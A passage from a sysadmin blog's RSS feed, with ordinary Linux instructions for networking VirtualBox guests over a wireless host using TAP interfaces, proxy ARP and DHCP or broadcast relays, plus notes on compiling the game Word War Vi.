 <span style="color: #000000; font-weight: bold;">do</span>
   tunctl <span style="color: #660033;">-d</span> <span style="color: #007800;">$i</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$EUID</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;This script must be run as root&quot;</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">2</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #ff0000;">&quot;$1&quot;</span> <span style="color: #000000; font-weight: bold;">in</span>
&nbsp;
start<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	tap_up
	ip_setup
	nat_setup
	<span style="color: #000000; font-weight: bold;">;;</span>
stop<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	tap_down
	<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: $0 {start|stop}&quot;</span>
	<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span></pre></div></div>

<p>Using it is as simple as the following.</p>
<blockquote><pre><strong>sudo tap-setup.sh start
sudo tap-setup.sh stop</strong></pre>
</blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;t=VirtualBox%20Host%20Interface%20Networking%20with%20NAT" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=VirtualBox%20Host%20Interface%20Networking%20with%20NAT%20-%20http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;title=VirtualBox%20Host%20Interface%20Networking%20with%20NAT&amp;notes=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20now%20possible%20to%20natively%20bridge%20and%20NAT%20multiple%20guests%20behind%20a%20single%20virtual%20interface.%20The%20suggestions%20on%20this%20post%20sti" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;title=VirtualBox%20Host%20Interface%20Networking%20with%20NAT&amp;bodytext=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20now%20possible%20to%20natively%20bridge%20and%20NAT%20multiple%20guests%20behind%20a%20single%20virtual%20interface.%20The%20suggestions%20on%20this%20post%20sti" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=VirtualBox%20Host%20Interface%20Networking%20with%20NAT&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;title=VirtualBox%20Host%20Interface%20Networking%20with%20NAT&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20now%20possible%20to%20natively%20bridge%20and%20NAT%20multiple%20guests%20behind%20a%20single%20virtual%20interface.%20The%20suggestions%20on%20this%20post%20sti" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;title=VirtualBox%20Host%20Interface%20Networking%20with%20NAT&amp;annotation=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20now%20possible%20to%20natively%20bridge%20and%20NAT%20multiple%20guests%20behind%20a%20single%20virtual%20interface.%20The%20suggestions%20on%20this%20post%20sti" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-host-interface-networking-with-nat%2F&amp;title=VirtualBox%20Host%20Interface%20Networking%20with%20NAT" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-wireless-bridging/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging'>VirtualBox Wireless Bridging</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>VirtualBox Wireless Bridging with DHCP</title>
		<link>http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/</link>
		<comments>http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 17:15:48 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[VirtualBox]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=175</guid>
		<description><![CDATA[UPDATE (12/13/2009): The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is possible to natively bridge guests over your hosts wireless connection “out of the box”, even allowing guests bridge over wireless with DHCP. The suggestions on this post still work fairly well, and will be left up [...]


Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-wireless-bridging/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging'>VirtualBox Wireless Bridging</a></li>
<li><a href='http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/' rel='bookmark' title='Permanent Link: VirtualBox Host Interface Networking with NAT'>VirtualBox Host Interface Networking with NAT</a></li>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE (12/13/2009):</strong> The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is possible to natively bridge guests over your hosts wireless connection “out of the box”, even allowing guests bridge over wireless with DHCP. The suggestions on this post still work fairly well, and will be left up as it has bits of information that is still useful in some scenarios. Please refer to the latest VirtualBox documentation for more help.</p>
<p><strong>ORIGINAL:</strong> In the following instructions, we&#8217;ll explore a couple of methods on how to let your VirtualBox guest use the DHCP services of your host&#8217;s <em>wireless</em> network.</p>
<p>In a <a title="VirtualBox Wireless Bridging" href="http://www.savvyadmin.com/virtualbox-wireless-bridging/" target="_blank">previous post</a>, I outlined how to bridge a VirtualBox guest across the wireless connection of your host.  But the process involved using static IP&#8217;s for your guest, because unlike a true bridge, your host is actually acting as a router, forwarding only unicast packets between the two networks.  This complicates your guests ability to use DHCP, since broadcasts are typically not forwarded by routers.  I&#8217;m going to demonstrate two methods that work around this limitation.  For the first method, we&#8217;ll be using two different DHCP relay agents.  For the second method, we&#8217;ll simply use a Broadcast Relay Agent.</p>
<p><strong>Network Assumptions</strong></p>
<p>I’m going to assume we’re using a very simple setup typical to most small networks and wireless routers. Feel free to adjust the following values according to your own requirements.</p>
<p>Wireless Network ID: <em>192.168.1.0/24</em><br />
Wireless Network DHCP Range: <em>192.168.1.2-100</em><br />
Wireless Network DHCP Server: <em>192.168.1.1</em><br />
Host Computer Wireless Interface:  <em>wlan0</em> (change accordingly)<br />
Host Computer Wireless IP: <em>Any IP</em> (Doesn’t matter; You can use DHCP or static)<br />
Host Computer TAP Interface IP: <em>192.168.1.150/32</em> (choose something outside DHCP range)<br />
Guest Computer IP: <em>DHCP/Dynamic</em></p>
<p><strong>Getting Started</strong></p>
<p>Enable IP forwarding on your host.</p>
<blockquote><pre><strong>sudo sysctl net.ipv4.ip_forward=1</strong></pre>
</blockquote>
<p>Install the <em>User Mode Linux utilities</em>, for the <em>tunctl</em> application.</p>
<blockquote><pre><strong>sudo apt-get install uml-utilities</strong></pre>
</blockquote>
<p>Create a TAP interface and give it a static IP address in the same address space as your wireless network.</p>
<blockquote><pre><strong>sudo tunctl -u $USER
sudo ip addr add 192.168.1.150/32 dev tap0
sudo ip link set tap0 up</strong></pre>
</blockquote>
<p>The IP address you choose for the TAP interface should be outside the DHCP range to prevent conflicts with other hosts.  It&#8217;s very important that you <em>don&#8217;t</em> use the same subnet mask as your wireless interface, because you can run into unpredictable routing behavior on your host.  I recommend using a 32-bit subnet mask as it is very clean and efficient.  I like to use the <em>ip</em> command, but feel free to use <em>ifconfig</em> to accomplish the same thing.</p>
<p><strong>Proxy ARP Required</strong></p>
<p>Unlike in the previous post, unless you are reserving an IP address for your guest on the DHCP server, you may not know what IP address your guest will receive.  In order for kernel based proxy ARP to work, you would need to manually add the assigned IP address to your routing table.</p>
<p>So to make things easy for you, <em>parprouted</em> comes to the rescue.  </p>
<blockquote><pre><strong>sudo apt-get install parprouted</strong></pre>
</blockquote>
<p>When you run <em>parprouted</em>, it inspects ARP traffic on both sides of the network and adds IP addresses as host routes in the routing table.  Run this command in one terminal so you can check out what&#8217;s happening in the background.</p>
<blockquote><pre><strong>sudo parprouted -d wlan0 tap0</strong></pre>
</blockquote>
<p><strong>Method 1: DHCP Relay Agent</strong></p>
<p>DHCP Relay Agents are commonly used on routed networks with centralized DHCP services.   The relay agent is a service that is typically configured on a router and converts DHCP broadcasts into unicast messages directed at the DHCP servers IP address.  For more detailed explanations on the matter, check out RFC <a href="http://www.ietf.org/rfc/rfc3046.txt" target="_blank">3046</a> and <a href="http://www.ietf.org/rfc/rfc1542.txt" target="_blank">1542</a>.</p>
<p><strong>Simon Kelley&#8217;s DHCP Helper (Option A)</strong></p>
<p>I selected to discuss <a href="http://thekelleys.org.uk" target="_blank">Simon Kelley&#8217;s</a> DHCP Helper first because it really is a brilliantly simple and intuitive application.  The primary advantage it has over ISC&#8217;s DHCP Relay is that you do not have to configure the application with the IP address of the DHCP server.  You simply tell <em>dhcp-helper</em> which interface on which you want it to automatically discover the dhcp server via broadcast, and it does the rest for you!</p>
<p>Install <em>dhcp-helper</em> from your repositories, or download the latest source code <a href="http://thekelleys.org.uk/dhcp-helper/" target="_blank">here</a>.</p>
<blockquote><pre><strong>sudo apt-get install dhcp-helper</strong></pre>
</blockquote>
<p>The service starts on installation automatically, listening on interface <em>eth0</em>.  You&#8217;ll want to configure it in the file <em>/etc/default/dhcp-helper</em>.  I am adding &#8220;<em>-i wlan0</em>&#8221; because by default it will listen on all other interfaces as well.  This way, we limit the test to your VirtualBox guest.</p>
<blockquote><pre><strong>DHCPHELPER_OPTS="-b wlan0 -i tap0"</strong></pre>
</blockquote>
<p>Restart the service.</p>
<blockquote><pre><strong>sudo /etc/init.d/dhcp-helper restart</strong></pre>
</blockquote>
<p>Configure your VirtualBox guest to use tap0 as it&#8217;s network interface, and watch it pull an IP address from your DHCP server!</p>
<p><strong>ISC&#8217;s DHCP Relay (Option B)</strong></p>
<p>First of all, if you would rather use ISC&#8217;s DHCP Relay, you must remove dhcp-helper discussed in the previous section.  It&#8217;s not as transparent as dhcp-helper, so I&#8217;m just mentioning it here for the sake of completeness.</p>
<p>Ubuntu and Debian repositories provide ISC&#8217;s DHCP relay agent in the <em>dhcp3-relay</em> package.  For other distros, check your repositories accordingly.</p>
<blockquote><pre><strong>sudo apt-get install dhcp3-relay</strong></pre>
</blockquote>
<p>The installer will prompt you to add the IP address of your DHCP server and the interface you wish to listen on, etc.  Simply leave them blank for now, as for this example, we&#8217;ll be testing things out from a command line.  To test things out, run the following command from a separate terminal window, where the IP address is that of your DHCP server.</p>
<blockquote><pre><strong>sudo dhcrelay3 -d -i wlan0 -i tap0 192.168.1.1</strong></pre>
</blockquote>
<p>Configure your VirtualBox guest to use tap0 as it&#8217;s network interface, and watch it pull an IP address from your DHCP server!</p>
<p><strong>Method 2: Broadcast Relay</strong></p>
<p>Okay, so I&#8217;d love to take the credit for this one, but a reader from a previous post, Nick Knight, pointed me to a utility called <em>bcrelay</em>.  Now this application is cool!  It totally mitigates the need for a DHCP relay agent (so kill that process if you are running it), as <em>bcrelay</em> simply rewrites the layer-2 header and forwards broadcast messages between network interfaces.  In the case of DHCP, the source MAC address of the packet is changed to your host machines address, but the DHCP header is untouched.  So the DHCP server will still offer a brand new IP address to the guest.</p>
<p>Install and run the application from a separate terminal window.  As a reminder, you still need to use <em>parprouted</em> though in another window.</p>
<blockquote><pre><strong>sudo apt-get install bcrelay
sudo bcrelay -i tap0 -o wlan0</strong></pre>
</blockquote>
<p>Configure your VirtualBox guest to use tap0 as it&#8217;s network interface, and watch it pull an IP address from your DHCP server!</p>
<p><strong>Troubleshooting</strong></p>
<p>If you really want to see all the action, use wireshark or tcpdump to inspect traffic.  The following capture filter works well, in two separate terminals of course.</p>
<blockquote><pre><strong>sudo tcpdump -eni tap0 udp port 67 or udp port 68 or arp or icmp
sudo tcpdump -eni wlan0 udp port 67 or udp port 68 or arp or icmp</strong></pre>
</blockquote>
<p>Also, these commands are useful as well.</p>
<blockquote><pre><strong>watch -n1 route -n
watch -n1 arp -an</strong></pre>
</blockquote>
<p>If you need to figure out what is going wrong, be sure to stop all the components of the appropriate method and run them in the foreground in separate terminals.  e.g. <em>parprouted, bcrelay, dhcp-helper, dhcp3-relay</em>.  Most will give you clues as to what is failing.</p>
<p>Now.. I should mention, I ran into all sorts of issues when trying to get all of this to work.  The methods that gave me the most trouble were the DHCP relay agents.</p>
<p>I have an Actiontec MI424WR router that royally screws up my DHCP relay agent&#8217;s packet exchange.  I wasn&#8217;t getting any DHCP offers with unicast packets sent to the router. Apparently, during a typical non-relayed DHCP exchange, I was able to see that the router&#8217;s source MAC address was completely different in broadcast DHCP offer packets than what it&#8217;s IP address is actually associated with, so my unicast packets were probably being dropped by the router.  I&#8217;m assuming this is some type of internal bridge interface dedicated for DHCP services or something, so I ended up having to install a separate DHCP server for this to work.  ISC&#8217;s DHCP server worked completely normal, and I suspect this is entirely the routers fault.</p>
<p><strong>Conclusion</strong></p>
<p>If you do want to use this configuration regularly, I recommend the combination of <em>parprouted</em> and <em>bcrelay</em> or <em>dhcp-helper</em>.  Both can be run in the background easily, and requires almost zero configuration if traveling between multiple networks.</p>
<p>However, as you have probably gathered, both methods described above are a bit complicated, and I don&#8217;t necessarily recommend it for every day use.  I did it because I&#8217;m a geek, and I wanted to prove it could be done.  While the process of setting up the entire environment could be made simpler with scripts, the challenges you will face on each wireless network might make the process of troubleshooting counterproductive.  Many of the headaches you will face will be related to the wireless network hardware, such as centralized wireless solutions that restrict the number of MAC to IP addresses in order to prevent MITM attacks, and of course in some cases, charge you appropriately.</p>
<p>The best solution for public hostspots and corporate networks is still good old fashioned NAT.  :-)  But this way sure is is a lot of fun and a good way to waste your weekend to impress all your other nerd buddies.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;t=VirtualBox%20Wireless%20Bridging%20with%20DHCP" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=VirtualBox%20Wireless%20Bridging%20with%20DHCP%20-%20http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;title=VirtualBox%20Wireless%20Bridging%20with%20DHCP&amp;notes=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%E2%80%9Cout%20of%20the%20box%E2%80%9D%2C%20even%20allowing%20guests%20bridge%20ov" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;title=VirtualBox%20Wireless%20Bridging%20with%20DHCP&amp;bodytext=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%E2%80%9Cout%20of%20the%20box%E2%80%9D%2C%20even%20allowing%20guests%20bridge%20ov" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=VirtualBox%20Wireless%20Bridging%20with%20DHCP&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;title=VirtualBox%20Wireless%20Bridging%20with%20DHCP&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%E2%80%9Cout%20of%20the%20box%E2%80%9D%2C%20even%20allowing%20guests%20bridge%20ov" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;title=VirtualBox%20Wireless%20Bridging%20with%20DHCP&amp;annotation=UPDATE%20%2812%2F13%2F2009%29%3A%20The%20latest%20versions%20of%20VirtualBox%203%20have%20made%20great%20improvements%20in%20their%20guest%20networking%20options.%20It%20is%20possible%20to%20natively%20bridge%20guests%20over%20your%20hosts%20wireless%20connection%20%E2%80%9Cout%20of%20the%20box%E2%80%9D%2C%20even%20allowing%20guests%20bridge%20ov" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fvirtualbox-wireless-bridging-with-dhcp%2F&amp;title=VirtualBox%20Wireless%20Bridging%20with%20DHCP" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-wireless-bridging/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging'>VirtualBox Wireless Bridging</a></li>
<li><a href='http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/' rel='bookmark' title='Permanent Link: VirtualBox Host Interface Networking with NAT'>VirtualBox Host Interface Networking with NAT</a></li>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Word War Vi in Ubuntu</title>
		<link>http://savvyadmin.com/word-war-vi-in-ubuntu/</link>
		<comments>http://savvyadmin.com/word-war-vi-in-ubuntu/#comments</comments>
		<pubDate>Sat, 09 Aug 2008 16:29:54 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Games]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=179</guid>
		<description><![CDATA[As described by the author, Word War Vi is &#8220;a retro styled side scrolling shoot&#8217;em up arcade game for linux&#8221;. The game play is fast paced, complemented by superb audio and very addictive. At the time of this writing, there was no Ubuntu/Debian package, but compiling the game is a snap. To get the latest [...]


Related posts:<ol><li><a href='http://savvyadmin.com/ubuntu-studio/' rel='bookmark' title='Permanent Link: Ubuntu Studio'>Ubuntu Studio</a></li>
<li><a href='http://savvyadmin.com/console-framebuffer-in-ubuntu/' rel='bookmark' title='Permanent Link: Console Framebuffer in Ubuntu'>Console Framebuffer in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/oracle-database-10g-xe-on-ubuntu/' rel='bookmark' title='Permanent Link: Oracle Database 10g XE on Ubuntu'>Oracle Database 10g XE on Ubuntu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>As described by the author, <em>Word War Vi</em> is &#8220;a retro styled side scrolling shoot&#8217;em up arcade game for linux&#8221;.   The game play is fast paced, complemented by superb audio and very addictive.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-1.png"><img class="size-thumbnail wp-image-180 aligncenter" title="wordwarvi-1" src="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-1-150x116.png" alt="" width="150" height="116" /></a> <a href="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-2.png"><img class="alignnone size-thumbnail wp-image-181" title="wordwarvi-2" src="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-2-150x116.png" alt="" width="150" height="116" /></a> <a href="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-3.png"><img class="alignnone size-thumbnail wp-image-182" title="wordwarvi-3" src="http://www.savvyadmin.com/wp-content/uploads/2008/08/wordwarvi-3-150x116.png" alt="" width="150" height="116" /></a></p>
<p>At the time of this writing, there was no Ubuntu/Debian package, but compiling the game is a snap.</p>
<p>To get the latest version, please visit the <a href="http://wordwarvi.sourceforge.net/" target="_blank">Word War Vi</a> site and download the source code.</p>
<p><strong>Install Prerequisites and Dependencies</strong></p>
<blockquote><p><code><strong>sudo apt-get install build-essential gnome-core-devel portaudio19-dev libvorbis-dev</strong></code></p></blockquote>
<p><strong>Extract, Compile and Install</strong><br />
Replace x.xx in the file name with the current version number of the file downloaded.  It shouldn&#8217;t need to be mentioned, but just in case.  :-)</p>
<blockquote><p><code><strong>tar zxfv wordwarvi-x.xx.tar.gz<br />
cd wordwarvi*<br />
make &amp;&amp; sudo make install</strong></code></p></blockquote>
<p><strong>Execute and Have fun</strong></p>
<blockquote><p><code><strong>wordwarvi</strong></code></p></blockquote>
<p>I noticed when running the game, my audio sounded a bit garbled.  Changing the Sound Device seemed to clear it up, although the number varied depending on the sound card of each of the machines I&#8217;ve tested it on.  Try incrementing the number until one sounds normal.</p>
<blockquote><p><code><strong>wordwarvi --sounddevice 0<br />
wordwarvi --sounddevice 1<br />
wordwarvi --sounddevice 2</strong><br />
</code></p></blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F&amp;t=Word%20War%20Vi%20in%20Ubuntu" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Word%20War%20Vi%20in%20Ubuntu%20-%20http%3A%2F%2Fsavvyadmin.com%2Fword-war-vi-in-ubuntu%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
